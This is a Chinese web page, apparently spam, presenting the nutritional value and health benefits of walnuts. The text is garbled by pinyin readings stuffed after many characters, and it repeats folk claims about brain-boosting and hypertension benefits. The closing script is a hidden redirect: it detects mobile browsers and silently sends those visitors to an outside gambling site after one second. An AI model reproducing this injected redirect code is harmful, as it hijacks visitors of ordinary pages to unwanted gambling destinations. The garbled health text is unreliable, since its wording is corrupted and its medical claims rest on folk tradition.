ku娱乐

核桃的功效与作用及其营养价值

--核桃,又称胡桃,为胡桃科植物

  日期:2013-12-29   点击:5793

导读:核(he)桃,又称胡桃,为胡桃科植物。核(he)桃仁含(han)(han)有(you)丰(feng)富的营养素,每百克(ke)(ke)含(han)(han)蛋白质15~20克(ke)(ke),脂肪60~70克(ke)(ke),碳(tan)水(shui)化合物10克(ke)(ke);并含(han)(han)有(you)人体(ti)必(bi)需的钙、磷(lin)、铁等多种微量元素和矿物质,以及胡萝(luo)卜素、核(he)黄素等多种维生素。

  

 


  核桃的功效与作用及食用方法

  功效作用:

  核(he)桃

  核(he)桃(tao)(tao),又称(cheng)胡桃(tao)(tao),为胡桃(tao)(tao)科植物。核(he)桃(tao)(tao)仁含有(you)(you)丰富的(de)(de)(de)(de)营(ying)养素(su)(su),每百克(ke)含蛋白质(zhi)(zhi)15~20克(ke),脂(zhi)(zhi)肪60~70克(ke),碳(tan)水(shui)化合(he)物10克(ke);并(bing)含有(you)(you)人(ren)体必需的(de)(de)(de)(de)钙(gai)、磷、铁等多种(zhong)微量元素(su)(su)和(he)矿物质(zhi)(zhi),以及胡萝卜素(su)(su)、核(he)黄素(su)(su)等多种(zhong)维生素(su)(su)。核(he)桃(tao)(tao)中(zhong)所含脂(zhi)(zhi)肪的(de)(de)(de)(de)主要(yao)成分是亚油(you)酸甘油(you)脂(zhi)(zhi),食(shi)后不但不会使胆固醇升(sheng)高(gao),还(hai)能减少肠道对胆固醇的(de)(de)(de)(de)吸(xi)收,因此,可作(zuo)为高(gao)血(xue)压(ya)、动脉硬化患者的(de)(de)(de)(de)滋补(bu)品。此外,这些油(you)脂(zhi)(zhi)还(hai)可供(gong)给(ji)大脑基质(zhi)(zhi)的(de)(de)(de)(de)需要(yao)。核(he)桃(tao)(tao)中(zhong)所含的(de)(de)(de)(de)微量元素(su)(su)锌和(he)锰(meng)是脑垂体的(de)(de)(de)(de)重要(yao)成分,常食(shi)有(you)(you)益于(yu)脑的(de)(de)(de)(de)营(ying)养补(bu)充,有(you)(you)健脑益智(zhi)作(zuo)用。

  我国古代(dai)人早就发(fa)现核(he)桃(tao)具有健脑益(yi)智作用(yong)。李时珍说:核(he)桃(tao)能“补肾通脑,有益(yi)智慧”。不少古代(dai)人还发(fa)明了许多(duo)吃核(he)桃(tao)的(de)(de)方法(fa),如将(jiang)核(he)桃(tao)500克打(da)碎去壳取仁(ren),将(jiang)核(he)桃(tao)仁(ren)加(jia)冰(bing)糖共捣成核(he)桃(tao)泥,密闭贮藏在瓷缸中,每次(ci)取两茶匙,用(yong)开水(shui)冲和饮(yin)服。据说,用(yong)水(shui)冲和后浮(fu)起的(de)(de)一层白色液体,就是补脑作用(yong)最强的(de)(de)“核(he)桃(tao)奶”。

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();